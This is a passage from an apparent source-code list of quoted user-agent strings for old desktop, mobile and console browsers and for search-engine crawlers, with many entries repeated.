'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
'Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
